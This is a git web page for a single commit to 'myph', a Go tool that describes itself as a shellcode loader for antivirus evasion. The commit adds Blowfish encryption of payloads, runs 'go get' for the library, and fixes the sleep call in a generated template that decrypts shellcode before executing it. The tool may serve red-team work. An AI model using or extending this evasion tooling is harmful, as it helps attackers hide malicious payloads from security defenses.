myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit f610870425dc9d6624ec2025957974bca782af31
parent 2b2c275324a3b928d2c0fb006f869beca375ac81
Author: winds0r <[email protected]>
Date: Wed, 26 Jul 2023 01:29:30 +0900

feat(tools): adding support for Blowfish payload encryption

Diffstat:
MREADME.md | 4+++-
MTODO.txt | 1-
Mcli/defaults.go | 2+-
Mcli/parser.go | 23+++++++++++++----------
Mcli/types.go | 4++--
Mtools/utils.go | 10+++++-----

6 files changed, 24 insertions(+), 20 deletions(-)

diff --git a/README.md b/README.md
@@ -14,7 +14,8 @@ or related to the access to or use of the software.
 
 ## How to use the software ?
 
-> Please note this project is under development & subject to changes. Breaking changes can be introduced from release to release.
+> Please note this project is under development & subject to changes.
+> Breaking changes can be introduced from release to release.
 
 ### Compiling or Installing the project
 
@@ -90,4 +91,5 @@ docker build . -t myph:latest
 ### Contributing
 
 Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
+
 A guide on how to use the tool is in the works, please let us know if you're interested in helping out.
diff --git a/TODO.txt b/TODO.txt
@@ -4,7 +4,6 @@
 
 Encryption:
     -> add support for chacha20
-    -> re-introduce support for blowfish
 
 Templates:
     - ProcessHollowing
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -15,7 +15,7 @@ func GetDefaultCLIOptions() Options {
 		Encryption:    EncKindAES,
 		Key:           "",
 		Technique:     "CRT",
-        SleepTime:     0,
+		SleepTime:     0,
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -115,6 +115,9 @@ func GetParser(opts *Options) *cobra.Command {
 					panic(err)
 				}
 
+				fmt.Println("\n...downloading necessary library...")
+				fmt.Println("if it fails because of your internet connection, please consider using XOR or AES instead")
+
 				/* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
 				execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish")
 				execCmd.Dir = MYPH_TMP_DIR
@@ -133,15 +136,15 @@ func GetParser(opts *Options) *cobra.Command {
 			encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
 			encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
 			err = tools.WriteToFile(
-                MYPH_TMP_DIR,
-                "main.go",
-                tools.GetMainTemplate(
-                    encType.String(),
-                    encodedKey,
-                    encodedShellcode,
-                    opts.SleepTime,
-                ),
-            )
+				MYPH_TMP_DIR,
+				"main.go",
+				tools.GetMainTemplate(
+					encType.String(),
+					encodedKey,
+					encodedShellcode,
+					opts.SleepTime,
+				),
+			)
 			if err != nil {
 				panic(err)
 			}
@@ -197,7 +200,7 @@ func GetParser(opts *Options) *cobra.Command {
 	cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, XOR, blowfish)")
 	cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
 
-    cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
+	cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
 
 	return cmd
 }
diff --git a/cli/types.go b/cli/types.go
@@ -85,6 +85,6 @@ type Options struct {
 	// Shellcode loading method
 	Technique string
 
-    // Sleep time before running execution
-    SleepTime uint
+	// Sleep time before running execution
+	SleepTime uint
 }
diff --git a/tools/utils.go b/tools/utils.go
@@ -128,10 +128,10 @@ go 1.20
 }
 
 func GetMainTemplate(
-    encoding string,
-    key string,
-    sc string,
-    sleepTime uint,
+	encoding string,
+	key string,
+	sc string,
+	sleepTime uint,
 ) string {
 
 	/* if hex encoding is used, it does not require to go through StdEncoding */
@@ -162,7 +162,7 @@ func main() {
         os.Exit(1)
     }
 
-    time.sleep(%d * time.Second)
+    time.Sleep(%d * time.Second)
     ExecuteOrderSixtySix(decrypted)
 }
     `, encoding, key, sc, encCall, encCall, sleepTime)